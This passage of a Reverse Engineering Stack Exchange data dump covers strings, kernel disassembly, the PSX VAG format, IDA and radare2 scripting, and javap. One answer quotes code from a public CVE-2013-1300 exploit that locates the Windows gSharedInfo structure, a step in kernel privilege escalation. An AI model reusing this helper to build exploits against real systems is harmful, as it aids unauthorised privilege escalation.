      0000000ED716 0000004EE316 0 EJPEG \n  0000000EEB97 0000004EF797 0 ;w8tF \n  0000000EFE33 0000004F0A33 0 C(D   O \n  0000000EFFA4 0000004F0BA4 0 T;{$| \n  0000000F002C 0000004F0C2C 0 T;{$| \n  0000000F004F 0000004F0C4F 0 ;K$|  \n  0000000F0995 0000004F1595 0 ;K4w/ \n  0000000F09CF 0000004F15CF 0 ;K4w, \n  0000000F0A05 0000004F1605 0 ;K4w, \n  0000000F0A9D 0000004F169D 0 T;{$| \n  0000000F0AE4 0000004F16E4 0 T;{$| \n  0000000F1A11 0000004F2611 0 D$$PU \n  0000000F1D3B 0000004F293B 0 A;K$| \n  0000000F3377 0000004F3F77 0 0;C$| \n  0000000F3426 0000004F4026 0 K,;K(u \n  0000000F36DA 0000004F42DA 0 T$$;L$ \n  0000000F372D 0000004F432D 0 Jx;L$ \n  0000000F39C4 0000004F45C4 0 $;Zx| \n  0000000F3F52 0000004F4B52 0 t&ItZ \n  0000000F41E7 0000004F4DE7 0 D$$;T$ \n  0000000F41FB 0000004F4DFB 0 L$ ;\\$ \n  0000000F4265 0000004F4E65 0 L$,;T$ \n  0000000F4279 0000004F4E79 0 L$(;\\$ \n  0000000F42EE 0000004F4EEE 0 L$0;T$ \n  0000000F4363 0000004F4F63 0 L$4;T$ \n  0000000F43D2 0000004F4FD2 0 L$8;T$ \n  0000000F4441 0000004F5041 0 L$<;T$ \n  0000000F44E4 0000004F50E4 0 D$D;T$ \n  0000000F44F8 0000004F50F8 0 L$@;\\$ \n  0000000F46C7 0000004F52C7 0 D$,;L$ \n  0000000F46DF 0000004F52DF 0 T$(;\\$ \n  0000000F4740 0000004F5340 0 l$$B; \n  0000000F5466 0000004F6066 0 T;s$| \n  0000000F55A8 0000004F61A8 0 P$;T$ \n  0000000F56A4 0000004F62A4 0 P$;T$ \n  0000000F5767 0000004F6367 0 P$;T$ \n  0000000F58A3 0000004F64A3 0 rMtsJ \n  0000000F58D4 0000004F64D4 0 C4;CH \n  0000000F5940 0000004F6540 0 C4;CHr3\n
    \n\n

    Are these real strings or they broken encrypted or something?\nHow can I achieve this?

    \n", "Title": "How to view strings in an executable?", "Tags": "|patch-reversing|", "Answer": "

    I recall Virustotal shows you all strings in a sample you upload.

    \n" }, { "Id": "11154", "CreationDate": "2015-10-21T20:29:56.033", "Body": "

    I've been reading a book about reverse engineering assembly code, and although it is very informative, It has questions such as decompile KeReadyThread- Im pretty good at assembly, and want to give it a shot, but how exactly do i view the assembly code of this kernel or any others? thanks

    \n", "Title": "How do I view a kernel routine in Windows", "Tags": "|assembly|", "Answer": "

    If you have windbg installed you can use the Local kernel Debugging
    \nFacility to view the Disassembly of any kernel Routine.\nIn OS > WinXP you may need to enable /debug in bcdsettings (boot configuration).

    \n\n

    C:\\>kd -kl -c \"uf nt!KeReadyThread;q\" | grep -i -A 20 ke.*:

    \n\n
    nt!KeReadyThread:\n804fb7de 8bff            mov     edi,edi\n804fb7e0 55              push    ebp\n804fb7e1 8bec            mov     ebp,esp\n804fb7e3 53              push    ebx\n804fb7e4 ff1514774d80    call    dword ptr [nt!_imp__KeRaiseIrqlToDpcLevel (804d\n7714)]\n804fb7ea 8b4d08          mov     ecx,dword ptr [ebp+8]\n804fb7ed 8ad8            mov     bl,al\n804fb7ef e82e510000      call    nt!KiReadyThread (80500922)\n804fb7f4 8acb            mov     cl,bl\n804fb7f6 e86d5f0400      call    nt!KiUnlockDispatcherDatabase (80541768)\n804fb7fb 5b              pop     ebx\n804fb7fc 5d              pop     ebp\n804fb7fd c20400          ret     4\nquit:\n
    \n" }, { "Id": "11160", "CreationDate": "2015-10-23T14:37:22.387", "Body": "

    I am reverse engineering the VAG format, which is a sound file format for the PSX (PlayStation 1). In the format, audio markers indicating audio looping points are encoded in the stream itself by a block attribute.

    \n\n

    Definition of possible attributes from a header found on the official SDK:

    \n\n
    /* block_attribute */\n#define ENC_VAG_1_SHOT      0\n#define ENC_VAG_1_SHOT_END  1\n#define ENC_VAG_LOOP_START  2\n#define ENC_VAG_LOOP_BODY   3\n#define ENC_VAG_LOOP_END    4\n
    \n\n

    Here is an excerpt of what flags/numbers are found when printing their content:

    \n\n

    For a 1 shot (no looping) sample:\n004000000000000000000000000000000000000000000000000000000000000000000001

    \n\n

    For a looping sample:\n026222222222222222222222222222222222222222222222222222222222222222222223

    \n\n

    As you can see, in both examples it is pretty easy to visually spot where are start/stop flags, whether for a 1 shot sample or a looping sample (confirmed by listening to the resulting WAV file).

    \n\n

    However, looking at their 'official' definition, the values by themselves are not what they should be. Basically, on a 1-shot sample there should be only 1-shot-related values, and for loops only loop-related values (again, confirmed by an encoder sample application found in the SDK).

    \n\n

    Could there be some trick/considerations involved when one should interpret these flags ?

    \n", "Title": "Should these numbers be interpreted as flags or not, or something else?", "Tags": "|file-format|decompress|", "Answer": "

    Something seems a bit weird here; i'd have expected the loop to look something like 233333334, not 62222223. And i'm missing a loop count, how would you encode a start that's played twice, mid-section that doesn't get repeated, and an end section that repeats forever, or until the end of the level?

    \n\n

    But that doesn't neccesarily mean some trick were intentionally involved. I'd assume Sony wrote the specs, published them to game creators, then implemented these specs in a certain way. The implementation probably doesn't check for violations of these specs, it just handles them in some way.

    \n\n

    Enter some software vendor who does a cross-platform game. They have their own music format, need to port it to the PSX, and write a converter. To test the converter, they convert some samples and listen to them, iterating until they sound right. After that, the converter might have gotten modified and enhanced several time, which introduced some bugs, but since the samples seem to work correctly, noone ever looks at the bytes anymore. Which means at some point they started violating the spec, but since the implementation doesn't choke at this, nobody knows about this.

    \n\n

    20 years later, you're the first one to ever notice.

    \n\n

    So yes, there could be some considerations involved how to interpret the flags, and maybe nobody ever knew what these considerations are. Best you could do is get some games from a different vendor, and look at how they encode music. This may give you an idea if you're just misinterpreting something or if your first sample actually don't match the spec. And if it does, and you want to handle this, you'll probably have to reverse the actual implementation in the PSP firmware to find out how to handle these edge cases.

    \n" }, { "Id": "11164", "CreationDate": "2015-10-23T23:21:07.523", "Body": "

    I wanted to know if it is possible to print out the assembly code which I analyze in ollydbg. I mean to have all of that on a paper. Sometimes I do not have access to my laptop. In such cases I would take the paper version and analyze it. Is that possible ? Is there a plugin or something like that available ?

    \n\n

    best regards,

    \n", "Title": "Is it possible to print out the assembly code in ollydbg", "Tags": "|assembly|ollydbg|", "Answer": "

    if copying the display from cpu window is what you want to achieve
    \nollydbg 1.10

    \n\n

    if you want the dis assembly of main module say notepad.exe make the module visible in cpu pane (alt+m follow or alt+ e -> view code in cpu)

    \n\n
    in the cpu pane right click -> copy > select all -> right click -> to file \n
    \n\n

    odbg 201

    \n\n
    rightclick -> select module -> right click -> edit select all -> right click -> copy as table \n
    \n\n

    open say notepad and paste it and save it as my disassembled_exe .txt

    \n\n
    >head -n 6 \"copyofcpu.txt\" | awk \"{ print  $1,$2}\"\n01001000 <&ADVAPI32.RegQueryValueExW>\n01001004 <&ADVAPI32.RegCloseKey>\n01001008 <&ADVAPI32.RegCreateKeyW>\n0100100C <&ADVAPI32.IsTextUnicode>\n01001010 <&ADVAPI32.RegQueryValueExA>\n01001014 <&ADVAPI32.RegOpenKeyExA>\n\n>head -n 6 \"New Text Document.txt\" | awk\"{print $1,$2}\"\nCPU Disasm\nAddress Hex\n01001000 &ADVAPI32.RegOpenKeyExA\n01001004 &ADVAPI32.RegQueryValueExA\n01001008 &ADVAPI32.RegCloseKey\n0100100C \u2302ADVAPI32_NULL_THUNK_DATA\n
    \n" }, { "Id": "11165", "CreationDate": "2015-10-24T00:28:50.710", "Body": "

    I need to debug an old (1999) full screen application. When I window the application and attach olly the program crashes.

    \n\n

    I have heard of remote debugging. Would running the program on a VM and then attaching windbg to the application on the remote machine do the trick?

    \n", "Title": "how do I debug full screen applications", "Tags": "|ollydbg|virtual-machines|remote|", "Answer": "

    I usually do one of the following when dealing with full screen software:

    \n\n
      \n
    1. As blabb said setting up a remote debugger is an option, although I usually find it a bit slow and annoying to use and set up.
      2. \n
    2. Occasionally there's a configuration option to switch to windowed mode. Its not always there but when it is its the best choice.
      3. \n
    3. Since you are already debugging and reversing it, you can always hook it's fullscreen request API (usually ChangeDisplaySettings or ChangeDisplaySettingsEx on Windows).
      4. \n
    4. If you can't hook or find the fullscreen API (if the software has anti-debugging it might be kind of a chicken and egg problem), you can always call ChangeDisplaySettings yourself and disable fullscreen mode after getting a window handle for the program's fullscreen window.
      5. \n
    5. Or you could simply use one of many existing tools for exactly that, they're covered in this SO question: https://superuser.com/questions/318748/force-fullscreen-games-to-in-window-mode
      6. \n
    \n\n

    Hope that helps :)

    \n" }, { "Id": "11180", "CreationDate": "2015-10-27T07:53:14.633", "Body": "

    I'm working on reverse a binary from a MIPS based router. In order to do it I'm emulating the binary with qemu, but the binary executes some routines before stating with the logic that skips the execution if it's not loaded on the router.

    \n\n

    I confirmed that if I skip the execution of those routines by editing some bytes I can run the binary locally and dynamically debug it. For now I'm doing it manually but I want to patch it so I can run it faster.

    \n\n

    My problem comes once I change some bytes and try to export it in IDA I tried the idc script to write the changes, also ida_patcher with a DIF file and the built in function to export the changes (Edit>Patch Program...) but the changes are not applied to the binary and I can't generate a new one.

    \n\n

    I was thinking in edit the binary with an hex editor but I was wondering if I can do it with IDA.

    \n", "Title": "Patching MIPS binary file on IDA fails at build", "Tags": "|ida|firmware|mips|patching|", "Answer": "

    You can always try and do away with IDAPython:

    \n\n
    import idaapi\nimport idc\n\nPATH_TO_COPY_OF_ORIGINAL_FILE = 'some-path'\n\ndef apply_patches_to_file(target_file):\n    def patch_visitor(ea, fpos, org_val, patch_val):\n        target_file.seek(fpos)\n        target_file.write(chr(patch_val))\n\n    idaapi.visit_patched_bytes(idc.MinEA(), idc.MaxEA(), patch_visitor)\n\nwith open(PATH_TO_COPY_OF_ORIGINAL_FILE, 'r+') as f:\n    apply_patches_to_file(f)\n
    \n\n

    Just create a copy of your original file, set the PATH_TO_COPY_OF_ORIGINAL_FILE, and give the script a go. It iterates all patches made to the IDB and try to apply them to the file.

    \n\n

    That said, not knowing the cause of your issues - this script may fail as well.

    \n" }, { "Id": "11181", "CreationDate": "2015-10-27T11:28:39.980", "Body": "

    So i'm trying to add a custom toolbar to IDA 6.4 using their PySide download and the IDAAPI. I've tried adding a toolbar by just creating one but since it doesn't have an exec_() method I can't get it on the screen and it looks like I need to be loading it into a window with something like

    \n\n
    self.toolbar = self.addToolBar('var')\n
    \n\n

    though in this case the \"self\" is a window which makes me think I need a reference to IDA's main window. Anyone know how i can get that reference?

    \n", "Title": "Adding a toolbar to IDA using PySide", "Tags": "|ida|idapython|ida-plugin|python|", "Answer": "\n\n

    New IDA 6.95 API

    \n\n

    Perhaps because they saw this question, maybe because of user requests, version 6.95 was released with two IDAPython API functions for creating a menu and a toolbar: create_menu and create_toolbar so now these can be done trivially.

    \n\n

    Old trick - Before 6.95

    \n\n

    A hack I've been using is finding the application's main window manually and then adding a toolbar directly using QT. IDA only has one main window.

    \n\n

    Adding a toolbar that way makes in completely recognizable by IDA as far as I can tell. You can tick it on and off, you can dock and un-dock it, changing to advanced mode automatically shows it as well. However, IDA won't let you add actions to it in IDA 6.7 and above (as described at hexblog.com/?p=886)

    \n\n

    A sample code can look something like that:

    \n\n
     for widget in QtGui.qApp.topLevelWidgets():\n     if type(widget) == QtGui.QMainWindow:\n         mainWindow = widget\n         toolbar = mainWindow.addToolBar(\"My toolbar\")\n\n         # and now for adding stuff to our toolbar\n         toolbar.addSeparator()\n         toolbar.addWidget(...)\n
    \n\n

    Disclaimer: Keep in mind finding the main window this way if risky, undocumented and might not always work. IDA might not like that you're changing stuff underneath it. I do use it and it is working, but YMMV and UAYOR.

    \n\n

    Two additional tips for making this hack functional:

    \n\n
      \n
    1. Since IDA's main window is not always visible when plugins are loaded, you \nmight want to set a QTimer on finding the main window.
      2. \n
    2. Because its undocumented, i use more ways to find the main window. Using qApp.activeWindow() and/or qApp.focusWidget() and iterating over their .parent()s are good additional choices.
      3. \n
    \n\n

    EDIT:

    \n\n

    Here's a more complete example of how to hack a toolbar and a menu in from an IDA plugin, handling different loading modes and retying in case the IDA application is not fully set-up yet:

    \n\n
      def init(self):\n    self.setup()\n\n    return idaapi.PLUGIN_KEEP\n\n  def setup(self):\n    if not self.get_mainwindow():\n      self.delay_setup()\n      return\n\n    # Add a toolbar like OP requested\n    self.toolbar = self.get_mainwindow().addToolBar(\"My toolbar\")\n    self.toolbar.setIconSize(QtCore.QSize(16, 16))\n\n    # Bonus: add a menue\n    self.menu = QtGui.QMenu(\"My menu\")\n    self.get_mainwindow().menuWidget().addMenu(self.menu)\n\n  def delay_setup(self):\n    QtCore.QTimer.singleShot(1000, self.setup)\n\n  def get_mainwindow(self):\n    if self.mainwindow:\n      return self.mainwindow\n\n    app = QtGui.qApp\n    widgets = [app.focusWidget(), app.activeWindow()] + app.topLevelWidgets()\n    mainwidgets = filter(None, map(self.search_mainwindow, widgets))\n\n    if mainwidgets:\n      self.mainwindow = mainwidgets[0]\n\n    return self.mainwindow\n\n  def search_mainwindow(self, widget):\n    while widget != None:\n      if isinstance(widget, QtGui.QMainWindow):\n        return widget\n      widget = widget.parent()\n    return None\n
    \n" }, { "Id": "11182", "CreationDate": "2015-10-27T11:30:24.583", "Body": "
    [0x00402079]> / valid\nSearching 5 bytes from 0x00401000 to 0x0040561e: 76 61 6c 69 64\n# 3 [0x401000-0x40561e]\nhits: 5\n0x00401695 hit6_0 \"valid\"\n0x00401fca hit6_1 \"valid\"\n0x00402095 hit6_2 \"valid\"\n0x004029ca hit6_3 \"valid\"\n0x004037ca hit6_4 \"valid\"\n\n[0x00402079]> / valid~[0]\nSearching 5 bytes from 0x00401000 to 0x0040561e: 76 61 6c 69 64\n# 3 [0x401000-0x40561e]\nhits: 5\n0x00401695\n0x00401fca\n0x00402095\n0x004029ca\n0x004037ca\n\n[0x008040f2]> ? {/ valid~[0]}\nRNum ERROR: Division by Zero\n0\n\n[0x008040f2]> ? 0x00401695\n4200085 0x401695 020013225 4M 40000:0695 4200085 10010101 0.0 0.000000f 0.000000\n
    \n\n

    How can i Disassemble OR work with the output of one search ?

    \n\n

    I agree other methods to automated job with search results, \nThanks.

    \n", "Title": "Disassembling output of searches radare2", "Tags": "|radare2|", "Answer": "
    [0x01012475]> / calc\nSearching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63\n# 3 [0x1001000-0x101e960]\nhits: 3\n0x0100161c hit1_0 \"calc\"\n0x01015079 hit1_1 \"\\\\u00ff\\\\u00ff\\\\u00ff\\\\u00ff\"\n0x01016679 hit1_2 \"calc\"\n[0x01012475]> pdi 4 @ hit1_0\n0x0100161c    hit1_0:\n0x0100161c           63616c  arpl word [ecx + 0x6c], sp\n0x0100161f             632e  arpl word [esi], bp\n0x01001621             7064  jo 0x1001687\n0x01001623             6200  bound eax, qword [eax]\n[0x01012475]> pdi 4 @ hit1_1\n0x01015079    hit1_1:\n0x01015079               ff  invalid\n0x0101507a               ff  invalid\n0x0101507b               ff  invalid\n0x0101507c               ff  invalid\n[0x01012475]> pdi 4 @ hit1_2\n0x01016679    hit1_2:\n0x01016679           63616c  arpl word [ecx + 0x6c], sp\n0x0101667c             6322  arpl word [edx], sp\n0x0101667e       0d0a202020  or eax, 0x2020200a\n0x01016683           207072  and byte [eax + 0x72], dh\n[0x01012475]>\n
    \n\n

    or use regular expression

    \n\n
    :>radare2 c:\\WINDOWS\\system32\\calc.exe\n -- Nothing to see here. Move along.\n[0x01012475]> / calc\nSearching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63\n# 3 [0x1001000-0x101e960]\nhits: 3\n0x0100161c hit0_0 \"calc\"\n0x01015079 hit0_1 \"\\\\u00ff\\\\u00ff\\\\u00ff\\\\u00ff\"\n0x01016679 hit0_2 \"calc\"\n[0x01012475]> pdi 4 @@ hit*\n0x0100161c    hit0_0:\n0x0100161c           63616c  arpl word [ecx + 0x6c], sp\n0x0100161f             632e  arpl word [esi], bp\n0x01001621             7064  jo 0x1001687\n0x01001623             6200  bound eax, qword [eax]\n0x01015079    hit0_1:\n0x01015079               ff  invalid\n0x0101507a               ff  invalid\n0x0101507b               ff  invalid\n0x0101507c               ff  invalid\n0x01016679    hit0_2:\n0x01016679           63616c  arpl word [ecx + 0x6c], sp\n0x0101667c             6322  arpl word [edx], sp\n0x0101667e       0d0a202020  or eax, 0x2020200a\n0x01016683           207072  and byte [eax + 0x72], dh\n[0x01012475]>\n
    \n\n

    You could also use an iterator: pid 4 @@ `/ ls`.

    \n\n

    Thanks jvoisin for the edit

    \n\n
    [0x01012475]> px @@ `/ calc`\nSearching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63\n# 3 [0x1001000-0x101e960]\nhits: 2\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x0100161c  6361 6c63 2e70 6462 0000                 calc.pdb..\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x01016679  6361 6c63 220d 0a20 2020                 calc\"..\n[0x01012475]>\n
    \n" }, { "Id": "11184", "CreationDate": "2015-10-27T14:53:40.677", "Body": "

    During the debugging I can see all the function's local variables in tab Locals (Debugger -> Debugger Windows -> Locals(HEXRAYS)). For example I have a struct variable

    \n\n
    a1    0x891E1160:{pBuf=0x7FC52F20,size=0x100}\n
    \n\n

    I would like to write a python script to dump such data into a file. The only thing I cannot understand is how to get value of local variable by it's name. It should be something like

    \n\n
    fdump = open(filename, 'wb')\nptr = get_var('a1')['pBuf']\nsize = get_var('a1')['size']\nbuf = idc.GetManyBytes(ptr, size, True)\nfdump.write(buf)\nfdump.close()\n
    \n\n

    Is there a function like get_var in idautils, idc, or idaapi?

    \n", "Title": "IDA scripting - get local variable by its name", "Tags": "|ida|python|", "Answer": "

    You can use the following function in order to get the local variable value by its name(IDA 7+):

    \n\n
    import idc \nimport ida_frame \nimport ida_struct \n\ndef get_local_var_value_64(loc_var_name):\n    frame = ida_frame.get_frame(idc.here())\n    loc_var = ida_struct.get_member_by_name(frame, loc_var_name)\n    loc_var_ea = loc_var.soff + idc.GetRegValue(\"RSP\")\n    # In case the variable is 32bit, use get_wide_dword() instead:\n    loc_var_value = idc.read_dbg_qword(loc_var_ea) \n    return loc_var_value\n
    \n" }, { "Id": "11186", "CreationDate": "2015-10-27T16:30:05.490", "Body": "

    I'm trying to write a custom signature for a java tool called \"findbugs.\" The specific example I'm looking to detect are instances where a static, non-concurrent hashmap is instantiated. In a multi-threaded environment this causes bad things\u2122 to happen.

    \n\n

    Here is my java source:

    \n\n
    import java.util.HashMap;\nimport java.util.Map;\n\n\npublic class StaticInitializationOfHashMap {\n    private static Map<String,String> hashMap;\n\n    private static void init() throws Exception {\n        hashMap = new HashMap<String,String>();\n        for(int x = 0; x < 1000; x++) {\n            hashMap.put(\"Key_\" + x, \"Value_\" + x);\n        }\n    }\n\n    public static void main(String[] args) throws Exception {\n        init();\n        for(int i = 0; i < hashMap.size(); ++i) {\n            System.out.println(hashMap.get(\"Key_\" + i));\n        }\n    }\n}\n
    \n\n

    Here is my javap -c -v output:

    \n\n
    Classfile /c:/gitRepos/findbugs/findbugsTestCases/build/classes/StaticInitializationOfHashMap.class\n  Last modified Oct 27, 2015; size 1478 bytes\n  MD5 checksum d1b1e57f69d1b13f658ee996fc2bbd24\n  Compiled from \"StaticInitializationOfHashMap.java\"\npublic class StaticInitializationOfHashMap\n  SourceFile: \"StaticInitializationOfHashMap.java\"\n  minor version: 0\n  major version: 51\n  flags: ACC_PUBLIC, ACC_SUPER\n\nConstant pool:\n   #1 = Methodref          #20.#45        //  java/lang/Object.\"<init>\":()V\n   #2 = Class              #46            //  java/util/HashMap\n   #3 = Methodref          #2.#45         //  java/util/HashMap.\"<init>\":()V\n   #4 = Fieldref           #19.#47        //  StaticInitializationOfHashMap.hashMap:Ljava/util/Map;\n   #5 = Class              #48            //  java/lang/StringBuilder\n   #6 = Methodref          #5.#45         //  java/lang/StringBuilder.\"<init>\":()V\n   #7 = String             #49            //  Key_\n   #8 = Methodref          #5.#50         //  java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;\n   #9 = Methodref          #5.#51         //  java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;\n  #10 = Methodref          #5.#52         //  java/lang/StringBuilder.toString:()Ljava/lang/String;\n  #11 = String             #53            //  Value_\n  #12 = InterfaceMethodref #54.#55        //  java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n  #13 = Methodref          #19.#56        //  StaticInitializationOfHashMap.init:()V\n  #14 = InterfaceMethodref #54.#57        //  java/util/Map.size:()I\n  #15 = Fieldref           #58.#59        //  java/lang/System.out:Ljava/io/PrintStream;\n  #16 = InterfaceMethodref #54.#60        //  java/util/Map.get:(Ljava/lang/Object;)Ljava/lang/Object;\n  #17 = Class              #61            //  java/lang/String\n  #18 = Methodref          #62.#63        //  java/io/PrintStream.println:(Ljava/lang/String;)V\n  #19 = Class              #64            //  StaticInitializationOfHashMap\n  #20 = Class              #65            //  java/lang/Object\n  #21 = Utf8               hashMap\n  #22 = Utf8               Ljava/util/Map;\n  #23 = Utf8               Signature\n  #24 = Utf8               Ljava/util/Map<Ljava/lang/String;Ljava/lang/String;>;\n  #25 = Utf8               <init>\n  #26 = Utf8               ()V\n  #27 = Utf8               Code\n  #28 = Utf8               LineNumberTable\n  #29 = Utf8               LocalVariableTable\n  #30 = Utf8               this\n  #31 = Utf8               LStaticInitializationOfHashMap;\n  #32 = Utf8               init\n  #33 = Utf8               x\n  #34 = Utf8               I\n  #35 = Utf8               StackMapTable\n  #36 = Utf8               Exceptions\n  #37 = Class              #66            //  java/lang/Exception\n  #38 = Utf8               main\n  #39 = Utf8               ([Ljava/lang/String;)V\n  #40 = Utf8               i\n  #41 = Utf8               args\n  #42 = Utf8               [Ljava/lang/String;\n  #43 = Utf8               SourceFile\n  #44 = Utf8               StaticInitializationOfHashMap.java\n  #45 = NameAndType        #25:#26        //  \"<init>\":()V\n  #46 = Utf8               java/util/HashMap\n  #47 = NameAndType        #21:#22        //  hashMap:Ljava/util/Map;\n  #48 = Utf8               java/lang/StringBuilder\n  #49 = Utf8               Key_\n  #50 = NameAndType        #67:#68        //  append:(Ljava/lang/String;)Ljava/lang/StringBuilder;\n  #51 = NameAndType        #67:#69        //  append:(I)Ljava/lang/StringBuilder;\n  #52 = NameAndType        #70:#71        //  toString:()Ljava/lang/String;\n  #53 = Utf8               Value_\n  #54 = Class              #72            //  java/util/Map\n  #55 = NameAndType        #73:#74        //  put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n  #56 = NameAndType        #32:#26        //  init:()V\n  #57 = NameAndType        #75:#76        //  size:()I\n  #58 = Class              #77            //  java/lang/System\n  #59 = NameAndType        #78:#79        //  out:Ljava/io/PrintStream;\n  #60 = NameAndType        #80:#81        //  get:(Ljava/lang/Object;)Ljava/lang/Object;\n  #61 = Utf8               java/lang/String\n  #62 = Class              #82            //  java/io/PrintStream\n  #63 = NameAndType        #83:#84        //  println:(Ljava/lang/String;)V\n  #64 = Utf8               StaticInitializationOfHashMap\n  #65 = Utf8               java/lang/Object\n  #66 = Utf8               java/lang/Exception\n  #67 = Utf8               append\n  #68 = Utf8               (Ljava/lang/String;)Ljava/lang/StringBuilder;\n  #69 = Utf8               (I)Ljava/lang/StringBuilder;\n  #70 = Utf8               toString\n  #71 = Utf8               ()Ljava/lang/String;\n  #72 = Utf8               java/util/Map\n  #73 = Utf8               put\n  #74 = Utf8               (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n  #75 = Utf8               size\n  #76 = Utf8               ()I\n  #77 = Utf8               java/lang/System\n  #78 = Utf8               out\n  #79 = Utf8               Ljava/io/PrintStream;\n  #80 = Utf8               get\n  #81 = Utf8               (Ljava/lang/Object;)Ljava/lang/Object;\n  #82 = Utf8               java/io/PrintStream\n  #83 = Utf8               println\n  #84 = Utf8               (Ljava/lang/String;)V\n{\n  public StaticInitializationOfHashMap();\n    flags: ACC_PUBLIC\n\n    Code:\n      stack=1, locals=1, args_size=1\n         0: aload_0       \n         1: invokespecial #1                  // Method java/lang/Object.\"<init>\":()V\n         4: return        \n      LineNumberTable:\n        line 5: 0\n      LocalVariableTable:\n        Start  Length  Slot  Name   Signature\n               0       5     0  this   LStaticInitializationOfHashMap;\n\n  public static void main(java.lang.String[]) throws java.lang.Exception;\n    flags: ACC_PUBLIC, ACC_STATIC\n\n    Code:\n      stack=4, locals=2, args_size=1\n         0: invokestatic  #13                 // Method init:()V\n         3: iconst_0      \n         4: istore_1      \n         5: iload_1       \n         6: getstatic     #4                  // Field hashMap:Ljava/util/Map;\n         9: invokeinterface #14,  1           // InterfaceMethod java/util/Map.size:()I\n        14: if_icmpge     59\n        17: getstatic     #15                 // Field java/lang/System.out:Ljava/io/PrintStream;\n        20: getstatic     #4                  // Field hashMap:Ljava/util/Map;\n        23: new           #5                  // class java/lang/StringBuilder\n        26: dup           \n        27: invokespecial #6                  // Method java/lang/StringBuilder.\"<init>\":()V\n        30: ldc           #7                  // String Key_\n        32: invokevirtual #8                  // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;\n        35: iload_1       \n        36: invokevirtual #9                  // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;\n        39: invokevirtual #10                 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;\n        42: invokeinterface #16,  2           // InterfaceMethod java/util/Map.get:(Ljava/lang/Object;)Ljava/lang/Object;\n        47: checkcast     #17                 // class java/lang/String\n        50: invokevirtual #18                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V\n        53: iinc          1, 1\n        56: goto          5\n        59: return        \n      LineNumberTable:\n        line 16: 0\n        line 17: 3\n        line 18: 17\n        line 17: 53\n        line 20: 59\n      LocalVariableTable:\n        Start  Length  Slot  Name   Signature\n               5      54     1     i   I\n               0      60     0  args   [Ljava/lang/String;\n      StackMapTable: number_of_entries = 2\n           frame_type = 252 /* append */\n             offset_delta = 5\n        locals = [ int ]\n           frame_type = 250 /* chop */\n          offset_delta = 53\n\n    Exceptions:\n      throws java.lang.Exception\n}\n
    \n\n

    At 0: invokestatic #13 it appears that we're calling the init() method, however in my disassembly, I'm not seeing a reference to a decompiled method called init.

    \n\n

    What am I doing wrong? It appears that the init method was optimized directly into my main method, but I thought that when using Oracle products, that all optimizations were deferred to the JIT and not at compile time?

    \n", "Title": "javap is not displaying an expected method", "Tags": "|disassembly|java|", "Answer": "

    Turns out that the problem was me:

    \n\n

    You need to run the command javap -c -private <className> or else javap defaults to not showing disassembly of private methods.

    \n" }, { "Id": "11191", "CreationDate": "2015-10-28T07:48:33.917", "Body": "

    My question is how cmd arguments are passed from the shell to the process memory ?\nHow the loader loads them and if there are passed with some sort of syscall ?\nill be happy if some one can explain in details or point to a relevant article.

    \n", "Title": "How do cmd arguments are loaded to process memory before they're passed to main?", "Tags": "|command-line|", "Answer": "

    For windows, the Loader will copy the parameters into the process' address space during process setup. Specifically it happens when the Address Space is initialized

    \n\n

    See Stage 3D Step 8 in Windows Internals:

    \n\n
    \n
      \n
    1. The user process parameters are written into the process, copied, and fixed up (meaning converted from absolute form to a relative form\n so that a single memory block is needed).
      2. \n
    \n
    \n" }, { "Id": "11192", "CreationDate": "2015-10-28T08:17:06.547", "Body": "

    How would you scann all sections mapped in the local memory context to find gsharedinfo?

    \n\n

    gsharedinfo is not exported from user32.dll on Windows server 2008 !!!

    \n\n

    I would be grateful if you could help me.

    \n", "Title": "how to find gsharedinfo from current memory?", "Tags": "|debugging|c|kernel-mode|", "Answer": "

    See https://github.com/Meatballs1/cve-2013-1300/blob/master/cve-2013-1300/exploit.c#L16 for a way to find gSharedInfo by scanning UserRegisterWowHandlers:

    \n\n
    PSHAREDINFO LocateSharedInfo()\n{\n    ULONG i;\n    ...\n    ULONG_PTR pfnUserRegisterWowHandlers = (ULONG_PTR)GetProcAddress(GetModuleHandle(\"USER32.dll\"), \"UserRegisterWowHandlers\");\n\n    ...\n\n    for (i = pfnUserRegisterWowHandlers; \n         i <= pfnUserRegisterWowHandlers +0x250; \n         ++i )\n    {\n        if (0x40c7 == *(WORD*)i && \n            0xb8 == *(BYTE*)(i + 7))\n        {\n            return (PSHAREDINFO)(*(DWORD*)(i + 8));\n        }\n    }\n}\n
    \n" }, { "Id": "11193", "CreationDate": "2015-10-28T09:25:41.890", "Body": "

    I'm learning about stenography and found this example.

    \n\n

    I've followed the instructions but when I write out a new zip file after changing the filename inside the file I get this:

    \n\n
    unzip nospaces.zip\nArchive:  nospaces.zip\n  End-of-central-directory signature not found.  Either this file is not\n  a zipfile, or it constitutes one disk of a multi-part archive.  In the\n  latter case the central directory and zipfile comment will be found on\n  the last disk(s) of this archive.\nnote:  nospaces.zip may be a plain executable, not an archive\nunzip:  cannot find zipfile directory in one of nospaces.zip or\n        nospaces.zip.zip, and cannot find nospaces.zip.ZIP, period.\n
    \n\n

    I found that I could use zip -FF --out to 'fix' the zip file and extract the embedded contents but would like to understand what I might be doing wrong when saving the contents of the original file between 0x504B0304 and 0x506B0506

    \n\n

    I got the same results in WinHex (32bit Windows 10 VM) and HexFiend (OSX 10.10.5 - 64bit.)

    \n\n

    Can anyone suggest what I might have done wrong when editing the file?

    \n\n

    \"enter

    \n\n

    \"enter

    \n", "Title": "End of central directory signature not found after extracting an embedded zip file", "Tags": "|decryption|hex|", "Answer": "

